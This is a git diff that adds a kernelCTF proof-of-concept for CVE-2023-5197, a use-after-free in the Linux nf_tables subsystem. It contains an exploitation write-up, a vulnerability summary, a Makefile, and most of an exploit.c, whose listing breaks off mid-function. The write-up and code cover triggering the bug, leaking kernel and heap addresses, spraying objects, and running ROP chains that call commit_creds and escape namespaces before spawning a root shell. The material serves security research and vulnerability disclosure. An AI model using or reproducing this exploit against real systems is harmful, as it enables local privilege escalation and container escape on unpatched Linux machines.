diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/docs/exploit.md new file mode 100644 index 00000000..06f38026 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/docs/exploit.md @@ -0,0 +1,285 @@ +### Triggering Vulnerability + +If the `nft_chain` where the `immediate expr` is being deleted is bound to `immediate expr`, the `immediate expr` can be deactivated twice. + +When an `immediate expr` of the `Vulnerable` chain is first deleted, `nft_data_release` is called in `nft_immediate_deactivate` to decrease the reference count of `nft_chain` [2]. Then, when `immediate expr` referring to `Vulnerable` chain is deleted, `nft_immediate_chain_deactivate` is called once more to deactivate the rule `[1]`. As a result the reference counter of the chain decreases twice. + +```c +static void nft_immediate_chain_deactivate(const struct nft_ctx *ctx, + struct nft_chain *chain, + enum nft_trans_phase phase) +{ + struct nft_ctx chain_ctx; + struct nft_rule *rule; + + chain_ctx = *ctx; + chain_ctx.chain = chain; + + list_for_each_entry(rule, &chain->rules, list) + nft_rule_expr_deactivate(&chain_ctx, rule, phase); +} + +static void nft_immediate_deactivate(const struct nft_ctx *ctx, + const struct nft_expr *expr, + enum nft_trans_phase phase) +{ + const struct nft_immediate_expr *priv = nft_expr_priv(expr); + const struct nft_data *data = &priv->data; + struct nft_chain *chain; + + if (priv->dreg == NFT_REG_VERDICT) { + switch (data->verdict.code) { + case NFT_JUMP: + case NFT_GOTO: + chain = data->verdict.chain; + if (!nft_chain_binding(chain)) + break; + + switch (phase) { + case NFT_TRANS_PREPARE_ERROR: + nf_tables_unbind_chain(ctx, chain); + nft_deactivate_next(ctx->net, chain); + break; + case NFT_TRANS_PREPARE: + nft_immediate_chain_deactivate(ctx, chain, phase); // [1] + nft_deactivate_next(ctx->net, chain); + break; + default: + nft_immediate_chain_deactivate(ctx, chain, phase); + nft_chain_del(chain); + chain->bound = false; + nft_use_dec(&chain->table->use); + break; + } + break; + default: + break; + } + } + + if (phase == NFT_TRANS_COMMIT) + return; + + return nft_data_release(&priv->data, nft_dreg_to_type(priv->dreg)); // [2] +} +``` + +We can trigger the vulnerability as follows: + +- Create three chains, `Base`, `Vulnerable`, and `Victim`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. +- Create a rule `R1` in `Base` with an immediate expr referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with an immediate expr referencing the `Victim`. +- Trigger the vulnerability by deleting the rules `R1` and `R2` within the same transaction. This results in the `Victim` having a reference count of -1. + +### KASLR Bypass + +The KASLR address is leaked through `chain->name`, which is stored in the verdict data of the immediate expr (`nft_immediate_expr.data.verdict`). The leak process is as follows: + +- Create three chains, `Base`, `Vulnerable`, and `Victim`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. Make the `Victim`'s name 9-16 bytes long so that it can be allocated into `kmalloc-cg-16`. +- Create a rule `R1` in `Base` with an immediate expr referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with an immediate expr referencing the `Victim`. +- Create a rule `R3` in `Base` with an immediate expr referencing the `Victim`. +- Trigger the vulnerability by deleting the rules `R1` and `R2` within the same transaction. As a result, the immediate expr of `R3` is still pointing to the `Victim`, but the `Victim` has a reference count of 0. +- Destroy the `Victim`, creating a dangling pointer to the `Victim` in the immediate expr of `R3`. This frees `chain->name` as well. +- (LTS) Spray counter exprs (`struct nft_expr`) to place it at `Victim`'s `chain->name`. At this time, the size of counter expr (`struct nft_expr`) is 16 bytes, so the counter exprs are allocated in the `kmalloc-cg-16`. +- (COS) Spray last exprs (`struct nft_expr`) to place it at `Victim`'s `chain->name`. At this time, the size of last expr (`struct nft_expr`) is 16 bytes, so the last exprs are allocated in the `kmalloc-cg-16`. +- We dump the immediate expr of `R3` using `GETRULE` command, we can get the ops address of counter/last expr through the freed `chain->name` to get the kernel base address [3]. + +```c +int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v) +{ + struct nlattr *nest; + + nest = nla_nest_start_noflag(skb, type); + if (!nest) + goto nla_put_failure; + + if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code))) + goto nla_put_failure; + + switch (v->code) { + case NFT_JUMP: + case NFT_GOTO: + if (nla_put_string(skb, NFTA_VERDICT_CHAIN, + v->chain->name)) // [3] + goto nla_put_failure; + } + nla_nest_end(skb, nest); + return 0; + +nla_put_failure: + return -1; +} +``` + +### Heap Address Leak + +We leak the heap address in the same way as we leak the kernel base address. To leak the heap address, we sprayed the `nft_rule` instead of counter/last expr. We place `nft_rule` in freed `Victim`'s `nft_chain->name` and dump the rule of the `Base`. As a result, we can read the heap address stored in `nft_rule->list` through `Victim`'s `nft_chain->name`. We put the address of the `kmalloc-cg-96` object in `list->next` and the address of the `kmalloc-cg-192` object in `list->prev` by creating `nft_rules`. The size of the `nft_rule` can be adjusted by adding multiple `nft_exprs` inside the `nft_rule`. Since data of type string is used for leaking, we repeated the entire exploit until the heap address does not contain null. + +### RIP Control + +We use `nft_chain->blob_gen_0` to control the RIP. The `nft_chain->blob_gen_0` is used when evaluating packets in the `nft_do_chain` function [4]. + +```c +nft_do_chain(struct nft_pktinfo *pkt, void *priv) +{ + ... +do_chain: + if (genbit) + blob = rcu_dereference(chain->blob_gen_1); + else + blob = rcu_dereference(chain->blob_gen_0); // [4] + + rule = (struct nft_rule_dp *)blob->data; + last_rule = (void *)blob->data + blob->size; +next_rule: + regs.verdict.code = NFT_CONTINUE; + for (; rule < last_rule; rule = nft_rule_next(rule)) { + nft_rule_dp_for_each_expr(expr, last, rule) { + if (expr->ops == &nft_cmp_fast_ops) + nft_cmp_fast_eval(expr, ®s); + else if (expr->ops == &nft_cmp16_fast_ops) + nft_cmp16_fast_eval(expr, ®s); + else if (expr->ops == &nft_bitwise_fast_ops) + nft_bitwise_fast_eval(expr, ®s); + else if (expr->ops != &nft_payload_fast_ops || + !nft_payload_fast_eval(expr, ®s, pkt)) + expr_call_ops_eval(expr, ®s, pkt); + + if (regs.verdict.code != NFT_CONTINUE) + break; + } + ... +``` + +To do this, we assign `chain->blob_gen_0` to `kmalloc-cg-64` and trigger the vulnerability. `chain->blob_gen_0` is allocated in the `nf_tables_chain_alloc_rules` when creating new chain [5]. `chain->blob_gen_0` is allocated from the `nf_tables_chain_alloc_rules` when creating a new chain [5]. + +```c +static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask, + u8 policy, u32 flags, + struct netlink_ext_ack *extack) +{ + ... + data_size = offsetof(struct nft_rule_dp, data); /* last rule */ + blob = nf_tables_chain_alloc_rules(data_size); // [5] + if (!blob) { + err = -ENOMEM; + goto err_destroy_chain; + } +``` + +The size used by `kvmalloc` [6] is 40, `offsetof(struct nft_rule_dp, data)` + `sizeof(struct nft_rule_blob)` + `sizeof(struct nft_rules_old)` (8 + 24 + 8), the `blob` object is allocated in `kmalloc-cg-64`. + +```c +static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size) +{ + struct nft_rule_blob *blob; + + /* size must include room for the last rule */ + if (size < offsetof(struct nft_rule_dp, data)) + return NULL; + + size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old); + if (size > INT_MAX) + return NULL; + + blob = kvmalloc(size, GFP_KERNEL_ACCOUNT); // [6] + if (!blob) + return NULL; + + blob->size = 0; + nft_last_rule(blob, blob->data); + + return blob; +} +``` + +We then spray the `udata` of the `struct nft_table` and place it in freed `blob_gen_0`. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [7]. + +```c +static void expr_call_ops_eval(const struct nft_expr *expr, + struct nft_regs *regs, + struct nft_pktinfo *pkt) +{ +#ifdef CONFIG_RETPOLINE + unsigned long e = (unsigned long)expr->ops->eval; +#define X(e, fun) \ + do { if ((e) == (unsigned long)(fun)) \ + return fun(expr, regs, pkt); } while (0) // [7] + + X(e, nft_payload_eval); + X(e, nft_cmp_eval); + X(e, nft_counter_eval); + X(e, nft_meta_get_eval); + X(e, nft_lookup_eval); + X(e, nft_range_eval); + X(e, nft_immediate_eval); + X(e, nft_byteorder_eval); + X(e, nft_dynset_eval); + X(e, nft_rt_get_eval); + X(e, nft_bitwise_eval); +#undef X +#endif /* CONFIG_RETPOLINE */ + expr->ops->eval(expr, regs, pkt); +} +``` + +### Post RIP + +Store the ROP payload below to the `kmalloc-cg-96` and `kmalloc-cg-192` addresses leaked above, and execute it. `The ROP payload of `kmalloc-cg-192` is stored in `nft_rule->data` when the rule is created during the heap spraying. The ROP payload of `kmalloc-cg-96` is stored by spraying `nft_table->udata` after freeing the rule used in the heap spray. + +```c +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + push_rbx_pop_rsp; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + pop_rdi_ret; + data[i++] = getpid(); + data[i++] = kbase + find_task_by_vpid_off; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + pop_rsi_ret; + data[i++] = 0x474; + data[i++] = kbase + add_rax_rsi_ret; + + data[i++] = kbase + pop_rsp_ret; + data[i++] = heap_addr1+0x20; +} + +void make_payload2(uint64_t* data){ + int i = 0; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + pop_rcx_ret; + data[i++] = -0xffff; + data[i++] = kbase + mov_rax_rcx_ret; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/docs/vulnerability.md new file mode 100644 index 00000000..90c88ac0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilites: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7 +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f15f29fd4779be8a418b66e9d52979bb6d6c2325 +- Affected Version: v5.9-rc1 - v6.6-rc2 +- Affected Component: net/netfilter +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-5197 +- Cause: Use-After-Free +- Description: A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. Addition and removal of rules from chain bindings within the same transaction causes leads to use-after-free. We recommend upgrading past commit f15f29fd4779be8a418b66e9d52979bb6d6c2325. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/Makefile b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/Makefile new file mode 100644 index 00000000..7ff4939e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/Makefile @@ -0,0 +1,39 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static -s + +exploit: + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libmnl-build libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/exploit b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/exploit new file mode 100755 index 00000000..a285bec6 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/exploit.c b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/exploit.c new file mode 100644 index 00000000..fe2372f6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/exploit/cos-105-17412.156.23/exploit.c @@ -0,0 +1,848 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "netlink_utils.h" + +uint64_t find_task_by_vpid_off = 0x1077c0; +uint64_t switch_task_namespaces_off = 0x10efa0; +uint64_t commit_creds_off = 0x110980; +uint64_t init_nsproxy_off = 0x2461f40; +uint64_t init_cred_off = 0x2462180; +uint64_t swapgs_restore_regs_and_return_to_usermode_off = 0x12010c6; +uint64_t nft_last_ops_off = 0x1ac84e0; + +// 0xffffffff81e53d79 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404200 +// 0xffffffff81007ff8 : pop rdi ; jmp 0xffffffff82404200 +// 0xffffffff81037f81 : pop rsi ; jmp 0xffffffff82404200 +// 0xffffffff815df50a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82404200 +// 0xffffffff811c7f6c : pop rsp ; jmp 0xffffffff82404200 + +uint64_t push_rbx_pop_rsp = 0xe53d79; +uint64_t pop_rdi_ret = 0x007ff8; +uint64_t pop_rsi_ret = 0x037f81; +uint64_t mov_rdi_rax_ret = 0x5df50a; +uint64_t pop_rsp_ret = 0x1c7f6c; + +uint64_t nft_last_ops = 0; +uint64_t kbase = 0; +uint64_t heap_addr1 = 0; +uint64_t heap_addr2 = 0; + +struct mnl_socket * nl; +uint32_t portid; + +void write_file(const char *filename, char *text) { + + int fd = open(filename, O_RDWR | O_CREAT); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +/* + * Add a network interface. + * Equivalent to `ip link add ...`. + */ +int net_if(char *type, int n, int opt, bool change) { + + struct nlmsghdr *msg; + struct nlattr *opts; + struct ifinfomsg ifinfo = {}; + char name[0x100] = { 0 }; + int sk; + + strcpy(name, type); + + if (n >= 0) + snprintf(name, sizeof(name), "%s-%d", type, n); + + // Initalize a netlink socket and allocate a nlmsghdr + sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE); + if (!sk) { + perror("nl_init_request()"); + return -1; + } + + ifinfo.ifi_family = AF_UNSPEC; + ifinfo.ifi_type = PF_NETROM; + ifinfo.ifi_index = 0; + ifinfo.ifi_flags = opt; + ifinfo.ifi_change = change ? 1 : 0; + + nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO); + + nla_put_string(msg, IFLA_IFNAME, name); + opts = nla_nest_start(msg, IFLA_LINKINFO); + nla_put_string(msg, IFLA_INFO_KIND, type); + nla_nest_end(msg, opts); + + // Send the netlink message and deallocate resources + return nl_complete_request(sk, msg); +} + +void pwn(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char *args[] = {"/bin/sh", NULL}; + execve("/bin/sh", args, NULL); + + exit(0); +} + +uint64_t _user_rip = (uint64_t) pwn; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +#define TRIG_HOST "127.0.0.1" +#define TRIG_PORT 1337 + +/* Connect to a server in a specific port to trigger netfilter hooks */ +void trig_net_sock(void) { + int sockfd = 00; + struct sockaddr_in servaddr, cli; + + bzero(&servaddr, sizeof(servaddr)); + bzero(&cli, sizeof(cli)); + + printf("[*] Connecting to 127.0.0.1:%d...\n", TRIG_PORT); + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if(sockfd == -1) + printf("[-] Socket creation failed"); + + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST); + servaddr.sin_port = htons(TRIG_PORT); + + if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0) + printf("[-] Connection with server failed"); + + write(sockfd, "AAAA", 4); + + close(sockfd); + + return; +} + +/* Set up a server to receive hook-triggering output packets */ +void setup_trig_server(void) { + int sfd = 0, sock = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = { 0 }; + + if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + printf("[-] Error at socket()"); + + if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) + printf("[-] Error at setsockopt()"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(TRIG_PORT); + + if(bind(sfd, (struct sockaddr*)&address, sizeof(address)) < 0) + printf("[-] Error at bind()"); + + if(listen(sfd, 3) < 0) + printf("[-] Error at listen()"); + + if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) + printf("[-] Error at accept()"); + + read(sock, buffer, 4); + + sleep(3); + + close(sock); + close(sfd); + + return; +} + +char * table1_name = "table1"; + +char * chain1_name = "chain1"; +char * chain2_name = "chain2"; +// allocate chain->name to kmalloc-cg-16 +char * chain3_name = "chain3_123412341234"; +// allocate chain->name to kmalloc-cg-192 +char * chain4_name = "chain4_1234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234"; + +uint8_t family = NFPROTO_IPV4; +uint32_t set_id = 1337; + +void make_payload2(uint64_t* data){ + int i = 0; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} + +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + push_rbx_pop_rsp; + data[i++] = 0; + data[i++] = 0xffff | ((unsigned long) 0x8 << 44); + data[i++] = heap_addr2; + + data[i++] = 0; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + data[i++] = kbase + pop_rsp_ret; + data[i++] = heap_addr1+0x20; +} + +#define TABLE_SPRAY 0x80 +#define SET_SPRAY 8 + +void spray_set_last_expr(int id){ + int set_ksize = 64; + char *set_name; + + asprintf(&set_name, "s_set%02hx", id); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS, 0); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, set_ksize); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_TYPE, 13); + nftnl_set_set_u32(set_leak, NFTNL_SET_FAMILY, family); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, id); + + struct nftnl_expr * expr_last = nftnl_expr_alloc("last"); + nftnl_set_add_expr(set_leak, expr_last); + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +/* +chain1 (Base) + rule_bind_chain_1_2 (rule for triggering vulnerability) + rule_dangling_3 (holds dangling pointer to chain3) + rule_dangling_4 (holds dangling pointer to chain4) +chain2 (Vulnerable) + rule_bind_chain_2_3 (rule for triggering vulnerability) + rule_bind_chain_2_4 (rule for triggering vulnerability) +chain3 (Victim for kbase leak) +chain4 (Victim for kheap and RIP control leak) +*/ + +int trig(){ + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain1_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter"); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT); + + struct nftnl_chain * chain2 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain2_name); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + + struct nftnl_chain * chain3 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain3, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain3, NFTNL_CHAIN_NAME, chain3_name); + nftnl_chain_set_u32(chain3, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain4 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain4, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain4, NFTNL_CHAIN_NAME, chain4_name); + nftnl_chain_set_u32(chain4, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_bind_chain_1_2, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_u32(rule_bind_chain_1_2, NFTNL_RULE_ID, 12); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name); + nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate); + + struct nftnl_rule * rule_bind_chain_2_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_2_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_2_3, NFTNL_RULE_CHAIN, chain2_name); + nftnl_rule_set_u32(rule_bind_chain_2_3, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_u32(rule_bind_chain_2_3, NFTNL_RULE_ID, 23); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name); + nftnl_rule_add_expr(rule_bind_chain_2_3, expr_immediate); + + struct nftnl_rule * rule_bind_chain_2_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_2_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_2_4, NFTNL_RULE_CHAIN, chain2_name); + nftnl_rule_set_u32(rule_bind_chain_2_4, NFTNL_RULE_FAMILY, family); + nftnl_rule_set_u32(rule_bind_chain_2_4, NFTNL_RULE_ID, 24); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name); + nftnl_rule_add_expr(rule_bind_chain_2_4, expr_immediate); + + struct nftnl_rule * rule_dangling_3 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_dangling_3, NFTNL_RULE_FAMILY, family); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name); + nftnl_rule_add_expr(rule_dangling_3, expr_immediate); + + struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u32(rule_dangling_4, NFTNL_RULE_FAMILY, family); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name); + nftnl_rule_add_expr(rule_dangling_4, expr_immediate); + + struct nftnl_rule * rule_4 = 